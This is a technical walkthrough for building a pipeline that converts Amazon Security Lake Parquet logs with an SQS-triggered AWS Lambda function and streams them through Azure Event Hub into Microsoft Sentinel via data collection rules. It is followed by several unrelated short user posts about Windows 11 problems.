Amazon Security Lake and the Parquet format. Amazon Security Lake and the Parquet Constraint Amazon Security Lake provides a centralized, S3-backed repository for security telemetry, addressing fragmentation across services, accounts, and regions. Instead of service-level ingestion pipelines, logs from sources such as EKS, Route 53, WAF, Lambda, and S3 are aggregated into a single, governed data layer, enabling consistent visibility, separation of duties, and cost-efficient storage at scale. This data is stored in Apache Parquet, a columnar format optimized for analytics—delivering high compression, schema evolution, and efficient, selective reads across engines like Athena and Spark. Microsoft Sentinel operates on a streaming ingestion model expecting JSON payloads, source-specific pipelines, and continuous event flows. In lake-first architectures, reintroducing service-level ingestion is neither practical nor efficient. The requirement, therefore, is to bridge the two models -preserving Parquet for storage while enabling event-driven ingestion at the point of consumption. In the following sections, we will create an Event Hub, Configure the Lambda function and once the streaming is configured in Event Hub we will configure the Data Collection Rules, Data Collection endpoints, Data Collection Rule associations to configure the ingestion pipeline from Event Hub to Sentinel. Pre-requisites: Log Analytics workspace where you have at least contributor rights. Your Log Analytics workspace needs to be linked to a dedicated cluster or to have a commitment tier. Event Hubs namespace that permits public network access. If public network access is disabled, ensure that "Allow trusted Microsoft services to bypass this firewall" is set to "Yes." Event Hubs with events flowing in. In this implementation, events are sent to Event Hubs by the AWS Lambda function configured in the steps below - no manual event sending is required. Appropriate IAM roles in AWS accounts to configure SQS queue, Lambda function, IAM policies, etc. The Event Hub To begin, we need to create an Event Hub. Azure Event Hubs is a fully managed, high-throughput event ingestion and streaming platform, designed to support high event volumes within documented service limits, subject to configuration and tier selection. SKUs (Standard vs Premium) Standard tier is a throughput-unit (TU) based model, where capacity is explicitly controlled and shared across the namespace. Premium tier provides isolated compute and memory via processing units (PU), which can provide more consistent performance characteristics and higher throughput capacity compared to shared models, depending on workload. Additionally, Azure Event Hubs offers a Dedicated tier, which is a fully isolated, single-tenant cluster for enterprise-scale workloads with higher throughputs (at significantly higher cost). Throughput Characteristics (Standard Tier) A single Throughput Unit (TU) provides: Ingress: up to 1 MB/s Egress: up to 2 MB/s A Standard namespace can scale to a maximum of 40 TUs, giving: Max ingress: 40 MB/s Max egress: 80 MB/s All Event Hubs, partitions, and consumers within the namespace share this TU capacity, making it a central ingestion buffer for streaming pipelines rather than a per-source scaling model. Which SKU to choose: For ingress/egress up to 40/80 MB/s, a Standard SKU may be suitable. Higher volumes may warrant consideration of Premium, depending on workload requirements. Azure Event Hubs Concepts: Event Hub Namespace: A logical container that provides the endpoint, networking boundary, and shared throughput capacity (TUs/PUs) for all Event Hubs within it. Event Hub: An individual event stream (topic) within the namespace where events are ingested, stored, and read in a partitioned, ordered manner for parallel processing. Reference: Event Hubs features and terminology - Azure Event Hubs Creating Event Hub namespace, Event Hub entities, and considerations: Create the Azure Event Hub Namespace, in this example, we create a Standard Event Hub with minimum 1 TU with Auto Inflate on enabling scaling upto the maximum 40 TUs. Note the maximum Throughput Units should be based on the size of the logs expected per second from Amazon Security Lake. Since the Event Hub will be used to ingest data in Azure Monitor (Sentinel Workspace) please check the Supported Regions. Ensure Event Hub region alignment with Microsoft Sentinel. Configure TU based on expected ingestion rate Once the Event Hub is created, enable the Local Authentication, since the AWS Lambda code we are using (discussed in the next section) uses Shared access signature to connect to the Azure Event Hub. See Shared Access Signatures. Create individual Event Hubs within the namespace created in Step 1. One Event Hub is required per log type - for example, if Amazon Security Lake includes EKS, Route 53, and WAF logs, then three Event Hub entities should be created. Why this matters: Easier DCR mapping Avoids schema conflicts Create a consumer group in each Event Hub we created in the previous step. Consumer Group is an independent view of an event stream that allows multiple applications to read the same events separately, each maintaining its own position (offset) in the stream. Event Hub Features Avoid using the $Default consumer group. With the Event Hub namespace, entities, and consumer groups in place, the receiving end of the pipeline is ready. The next step is to configure the AWS Lambda function that will translate Security Lake's Parquet files into the JSON events that Event Hub expects. The AWS Lambda Function (SQS-driven Parquet → JSON) In this architecture, AWS Lambda is the translation layer, not an ingestion source. Instead of being invoked directly by S3, Security Lake emits S3 object‑creation notifications into Amazon SQS, and SQS becomes the Lambda trigger. This decoupling is intentional: SQS absorbs bursts of newly written Parquet objects which can help increase resilience of the ingestion pipeline under bursty or variable workloads. Once triggered, the Lambda function processes each queued S3 notification end‑to‑end: it derives the log type from the S3 object key, downloads the Parquet file, converts each row into a discrete JSON event, and forwards the resulting events to Azure Event Hub in batches for downstream ingestion via DCR/DCE. A practical consideration is event size management. Some sources - especially EKS audit telemetry - can carry large, nested fields that are not always useful for Sentinel analytics. For those log types, the Lambda function drops non‑essential fields during transformation to keep each event within Azure ingestion constraints; oversized fields can exceed the 64 KB Azure Monitor field size limit and disrupt ingestion (Fields more than 64 KB will be truncated in Log Analytics Workspace). Solution Architecture The diagram above illustrates the end-to-end data flow: logs originate in AWS, are converted by AWS Lambda, streamed through Azure Event Hub, and stored in Microsoft Sentinel. Amazon Security Lake writes Parquet files to a centralized S3 bucket as logs arrive from source services (CloudTrail, EKS, VPC Flow, WAF, Route 53, and others). Amazon SQS receives S3 event notifications from Security Lake and queues them as Lambda triggers. AWS Lambda picks up each SQS message, identifies the log source from the S3 object key, downloads the Parquet file, converts each row to JSON, and forwards the events to Azure Event Hub. Azure Event Hub receives the JSON events and makes them available for ingestion into Microsoft Sentinel via a Data Collection Rule (DCR). Microsoft Sentinel ingests the data into a custom log table, where it is available for detection rules, hunting queries, and dashboards. The full Lambda function code is available in the GithubRepository-LambdaFunction. Refer to the readme for more details. How the Lambda Function works At a high level, the Lambda function performs four things in sequence for every file it processes: Identify the log source: Security Lake organizes files under a structured S3 key path that includes the log type (for example, CLOUD_TRAIL_MGMT, EKS_AUDIT, VPC_FLOW). The function reads this key path to determine which log source the file belongs to, and routes it to the corresponding Azure Event Hub entity. Files that cannot be matched to a known log type are skipped and logged as warnings. Download and decompress the Parquet file: The function streams the Parquet file from S3 directly to local Lambda storage rather than loading it entirely into memory. This keeps memory consumption bounded regardless of file size. Where Security Lake uses gzip compression, the function decompresses automatically before processing. Convert Parquet rows to JSON: Each row in the Parquet file is read in batches using PyArrow and converted to a JSON object. Parquet columns can carry data types - such as NumPy scalars, nested arrays, and high-precision timestamps — that are not natively serializable to JSON. The function handles these type conversions before serialization, ensuring clean output that Sentinel's ingestion pipeline can accept without errors. Forward events to Azure Event Hub: Converted JSON events are sent to the respective Azure Event Hub entity in batches, with each row becoming a discrete event. The function respects Event Hub's payload size ceiling, handles throttling responses gracefully using retry logic with exponential backoff, and marks each processed file in S3 metadata to prevent duplicate ingestion on retry. Tuning the Lambda Messages at cloud scale are unforgiving. Memory, timeout, batch size, and retry behavior - each decision determines whether the messenger would keep up or fall behind. Several configuration changes are required beyond the default Lambda settings to make this function production-ready. Runtime and Dependencies - Lambda Layer The function depends on three libraries not available in Lambda's default Python runtime: pyarrow (for Parquet reading), pandas (for type handling), and azure-eventhub (for Event Hub connectivity). These are packaged as an AWS Lambda Layer and attached to the function, keeping the deployment package clean and the layer reusable across function versions. Step-by-step instructions for packaging the dependencies, creating the S3 bucket, publishing the Layer, and deploying the function are available in the GithubRepository-LambdaLayer. Secrets Management - AWS Secrets Manager The Azure Event Hub connection strings - one per log type - are sensitive credentials that must not be stored in environment variables in plaintext. The function retrieves them at cold start from AWS Secrets Manager, using a single secret ARN passed as a Lambda environment variable (SECRET_ARN). The secret is stored as a JSON object with each log type as a key. The full secret structure and configuration steps are available in the GithubRepository-SecretsManager. IAM Permissions The Lambda execution IAM role requires scoped permissions across S3, Secrets Manager, SQS, and CloudWatch Logs. Full IAM policy JSON files following the principle of least privilege are available in the GithubRepository-IAMPolicies. Deployment instructions for the IAM Policies are available in the IAM Policies README. Memory Configuration A starting configuration of 1,792 MB is recommended - this is the threshold at which Lambda may allocate a full vCPU. For environments with high log volumes or large Parquet files, increasing to 2,048 MB provides headroom for concurrent batch processing. Tune further based on observed execution durations in CloudWatch Metrics. Timeout Configuration The default Lambda timeout of 3 seconds is insufficient for Parquet processing at scale. The function must download a file from S3, process it in batches, and flush all events to Event Hub - a sequence that can take tens of seconds for larger Security Lake files. A timeout of 5 minutes (300 seconds) is recommended as a starting point, with adjustment based on observed execution durations in CloudWatch Metrics. SQS Trigger Configuration The SQS queue connected to Security Lake S3 event notifications is configured as the trigger for the Lambda function. This enables automatic invocation of the Lambda function whenever Security Lake writes a new Parquet file to S3. Validate Event Hub Ingestion At this point, events should be streaming into each Event Hub. To validate, open a specific Event Hub from the Azure Portal and navigate to the Overview page. You should see active metrics across Requests, Messages, and Throughput, confirming that the Lambda function is successfully forwarding Security Lake events. In the upcoming sections, we will follow the documentation to ingest events from Event Hub to Azure Monitor. Before we begin, please collect the required information as stated here to have resource ID's and other details ready for configuration of DCR and Data Collection Endpoint. Also create a user assigned managed identity (UAMI), since the DCRs in this setup use a UAMI that should be granted the required permissions on the Event Hub Namespace to Receive Events. To grant the Azure Event Hubs Data Receiver role to the user-assigned managed identity, follow the instructions here. Creating Tables in Log Analytics Workspace As mentioned in the Overview, this blog covers the following data sources: Amazon EKS audit and runtime events Route 53 DNS query logs AWS WAF access logs AWS Lambda execution activity Amazon S3 access events The PowerShell scripts to create these tables are provided here: GithubRepo CreateLAWTables. For assistance with executing these scripts, refer to: Readme.md. Note: In the Microsoft Documentation to Ingest logs from EventHub into Azure Monitor only 3 fields are created in the tables (TimeGenerated, RawData, Properties). In this case, the entire Json event from the Event Hub is sent to the RawData field. However the scripts we are running are creating additional fields since we will be parsing the RawData field and extracting/parsing the information from the complete event into individual fields. This makes it easier to search and analyze logs later and schema improves detection rules and KQL efficiency. Create a Data Collection Endpoint To collect data with a data collection rule, you need a data collection endpoint: Create a data collection endpoint. Note: Create the data collection endpoint in the same region as your Log Analytics workspace. From the data collection endpoint's Overview screen, select JSON View. Copy the Resource ID for the data collection rule. You use this information in the next step while creating Data Collection Rules. Create Data Collection Rules Since we have 5 sources in scope for this example, we need to create 5 DCRs using the collected information as stated here, the user assigned managed identity resource ID, and the Data Collection Endpoint resource ID we created in the previous step. DCR Deployment via ARM Templates The Data Collection Rules ARM templates can be found in the GithubRepo-DataCollectionRules. The instructions to create via ARM templates can be found in the readme.md (Microsoft article reference with manual steps here). DCR Mapping (AWS Sources → DCR Templates) ARM Templates in GitHub Repo to AWS Source mapping Data Source DCR Template Name Amazon EKS Logs DCR-awseks.json AWS S3 Access Logs DCR-awsS3access.json AWS WAF Logs DCR-awswaf.json AWS Lambda Execution DCR-lambdaexecution.json Amazon Route 53 Logs DCR-Route53.json Final Step: Associating the Event Hub with the Data Collection Rule At this stage, the core building blocks of the ingestion pipeline are already in place. We have successfully configured streaming to Event Hubs, created dedicated Event Hubs for each Amazon Security Lake source, provisioned destination tables in the Microsoft Sentinel workspace, and defined Data Collection Rules (DCRs) - leveraging the Azure Monitor pipeline and a user-assigned managed identity to securely read incoming events. The final step is to stitch this entire architecture together by establishing associations between the Event Hubs and their corresponding Data Collection Rules. This association links Event Hub to Sentinel, enabling Azure Monitor to actively pull data from the Event Hubs and route it into the defined destination tables. Without this linkage, the pipeline remains incomplete - data may continue to flow into Event Hubs, but it will not be picked up or ingested into Sentinel. Each Event Hub must be explicitly mapped to its respective Data Collection Rule, ensuring: The correct stream is processed by the intended transformation logic Events are routed to the appropriate custom tables The ingestion pipeline operates in a deterministic and scalable manner helping ensure data is routed to the intended destination in a consistent and predictable manner. Once these associations are configured, the end‑to‑end pipeline is intended to operate as designed, subject to configuration accuracy and ongoing operational monitoring— enabling automated ingestion workflows of Amazon Security Lake data into Microsoft Sentinel with minimal manual intervention once configured. Steps to be followed: Associate the data collection rule with the Event Hub To complete the setup, we now associate each Event Hub with its corresponding Data Collection Rule (DCR). This creates the link that allows Azure Monitor to read data from the Event Hub and send it to Microsoft Sentinel. Important: You must create one association per Data Collection Rule. Example: If an Event Hub is receiving AWS Route 53 logs, it must be associated with the DCR created for AWS Route 53. Copy the template from the above link and deploy it to create each Data Collection Rule association. We have to create 1 association per Data Collection Rule. What You Need Event Hub Resource ID Follow these steps to get the Event Hub Resource ID: Open the Event Hub Namespace in the Azure Portal Go to Entities → Event Hubs Select the Event Hub that is receiving the logs (e.g., Route 53 logs) In the Overview page, click on JSON View Copy the Resource ID Resource Group, Region, and Association Name The Resource Group must be the same as the one where the Event Hub is deployed Provide the Azure region where the resources are deployed Define a unique name for the association Data Collection Rule (DCR) Resource ID Open the corresponding Data Collection Rule Go to the Overview page Click on JSON View Copy the Resource ID Key Note: Make sure that Each Event Hub is mapped to the correct DCR The data source and DCR template are aligned (e.g., Route 53 → Route 53 DCR) Validate End-to-End Ingestion Once this configuration is complete, we can validate the logs in the destination table, fields, and parsing accuracy. If you are building on a lake-first security architecture and running into ingestion challenges with Sentinel, feel free to share your experience in the comments or raise an issue in the GitHub repository.
The Wi-Fi issue of my laptop (running Windows 11)
I'm experiencing Wi-Fi issues with my Windows 11 laptop where the connection keeps dropping randomly or is extremely slow at times, making it difficult to browse or stream content smoothly. I've tried restarting my router and laptop, but the problem persists, and I’m not sure if it's a driver problem, network settings, or something else entirely.Mouse not working on tab in Windows 11
Recently, this situation has started to occur. I initially thought it was just a problem with the browser. When playing games, the loading process would automatically switch to other tabs, and occasionally the mouse couldn't interact with the tabs and could only be operated via the keyboard, but not the mouse. Today, I discovered that pressing Ctrl + Alt + Delete or directly pressing the Esc key could solve the problem. The first click didn't respond, but after that it became normal. Now when I click, Windows 11 will make a notification sound, but it doesn't respond, so I think there might be something that occasionally blocks it. My mouse is from Razer, so I want to know if this is related to the software, but the software has already been updated. Flair on Hardware, because I'm not sure if this is a hardware issue or a program issue.Major Enhancements to Windows Updates - How to do that?
I have mixed feelings about being able to pause updates indefinitely, or potentially, forever! Again. I have not personally had an issue with an update that I needed to postpone installing it more than a week. Typically it is just a couple days and that was because I did not want to reboot - yet. So Item 3 fixes that problem. I personally have never, not once, had an update break any of my computers beyond what a simple reboot could fix. I really don't think I am the exception here, based on my own experience with my computers, or the many other computers belonging to family, friends and clients whose computers I am responsible for.What should I do? Buttons are invisible but still clickable
I'm experiencing severe UI visual corruption on Windows 11 with versions 5.x and 6.x, where buttons are completely invisible but still clickable, which makes it difficult to navigate or use the software properly. The buttons appear to have lost their visual styling, rendering them invisible on the screen, yet they remain functional when clicked, causing confusion and frustration when trying to perform tasks.
